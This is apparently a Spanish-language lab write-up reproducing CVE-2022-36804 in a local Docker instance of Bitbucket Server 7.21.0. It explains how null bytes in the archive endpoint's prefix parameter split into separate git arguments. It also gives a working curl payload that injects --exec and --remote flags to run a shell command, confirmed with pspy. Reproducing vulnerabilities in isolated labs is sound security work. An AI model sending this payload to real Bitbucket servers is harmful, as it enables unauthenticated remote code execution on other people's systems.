
Investigating CVE-2022-36804
Recreando una vulnerabilidad de ejecución remota de código donde Bitbucket no sanitiza la entrada del usuario, lo que permite a los atacantes inyectar flags de Git y ejecutar código de forma remota.
Este repositorio documenta cómo reproduje la vulnerabilidad CVE-2022-36804, un problema de inyección de argumentos sin autenticación en Bitbucket Server. El objetivo era demostrar el problema de seguridad subyacente tal como se describe en el informe público de Assetnote. Todas las pruebas se realizaron en un entorno local aislado.
CVE-2022-36804 se debe a que Bitbucket pasa la entrada del usuario directamente a un subproceso de git archive sin sanitizar los bytes nulos. Debido a que Bitbucket usa NuProcess para lanzar git, los bytes nulos se conservan y provocan la división de argumentos. Esto permite a un atacante inyectar flags adicionales de git en el comando. En versiones vulnerables (como la 7.21.0 usada en esta configuración) esto conduce a la ejecución remota de código sin autenticación.
Esta vulnerabilidad de ejecución remota de código sin autenticación ocurre en el endpoint /archive, que es el responsable de generar archivos de repositorio con la función de git archive. Bitbucket pasa el parámetro prefix directamente al subproceso de git, pero sin sanitizar los bytes nulos. Dado que git está implementado en C, un byte nulo termina la cadena antes de tiempo. Por lo tanto, todo lo que esté después del byte nulo se interpreta como un argumento de línea de comandos separado. Esto permite al atacante inyectar flags arbitrarios de git en el comando.
Esto funciona porque Bitbucket usa NuProcess, que conserva los bytes nulos en lugar de eliminarlos. Como resultado, Git recibe la entrada cruda exactamente tal como la proporciona el usuario. Dado que git trata los bytes nulos como terminadores de cadena, el valor de prefix se divide en múltiples argumentos cuando se pasa al subproceso de git. Esto permite colar flags adicionales de git después del byte nulo. Cuando se combina con flags como --exec y --remote, esta inyección de argumentos conduce directamente a la ejecución remota de código en versiones vulnerables de Bitbucket Server.
TEST/demo)Para iniciar el entorno:
docker compose up -d
Verificar versión:
cat /opt/atlassian/bitbucket/VERSION
La clave de esta CVE es demostrar que un byte nulo en el parámetro prefix hace que Bitbucket pase múltiples argumentos a git archive.
docker exec -it bitbucket bash
cd /tmp
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64
chmod +x pspy64
./pspy64
Deja pspy ejecutándose.
curl "http://localhost:7990/rest/api/latest/projects/TEST/repos/demo/archive?prefix=test%00canary&format=zip"
Esto comprueba si el byte nulo provoca la división de argumentos.
En pspy, Bitbucket genera:
/usr/bin/git archive --format=zip --prefix=test canary/ --
Aquí test y canary aparecen como argumentos separados en lugar de uno solo. El %00 dividió la entrada y Bitbucket se ve obligado a pasarlos como argumentos independientes a git.
La siguiente imagen muestra pspy ejecutándose dentro del contenedor Docker de Bitbucket capturando /usr/bin/git archive --format=zip --prefix=test canary/ -- (PID=666). Lo que se envió como un solo valor - test%00canary - se pasa como dos argumentos separados. El byte nulo dividió la entrada, lo que cuela un argumento adicional en el comando git.
Al inyectar --exec=touch /tmp/pwned y --remote=file:///... mediante bytes nulos, el servidor ejecuta un comando arbitrario. Aunque git termina con el código 128, el comando se ejecuta antes de que git muestre el error y se crea /tmp/pwned dentro del contenedor.
Payload:
curl "http://localhost:7990/rest/api/latest/projects/TEST/repos/DEMO/archive?at=ebbabd99dd2da7bb5f8ed6dea8c988253fb43260&prefix=x%00--exec=touch+/tmp/pwned%00--remote=file:///var/atlassian/application-data/bitbucket/shared/data/repositories/1%00x&format=zip"
La siguiente imagen muestra pspy capturando la cadena de ejecución completa: /usr/bin/git archive ejecutándose con los argumentos --exec y --remote (PID=74412), lanzando /bin/sh touch /tmp/pwned (PID=74413).

Con docker exec -it bitbucket ls -la /tmp/pwned fue posible verificar que el archivo se creó.
Esto se muestra en la siguiente imagen.

Johan - Estocolmo, Suecia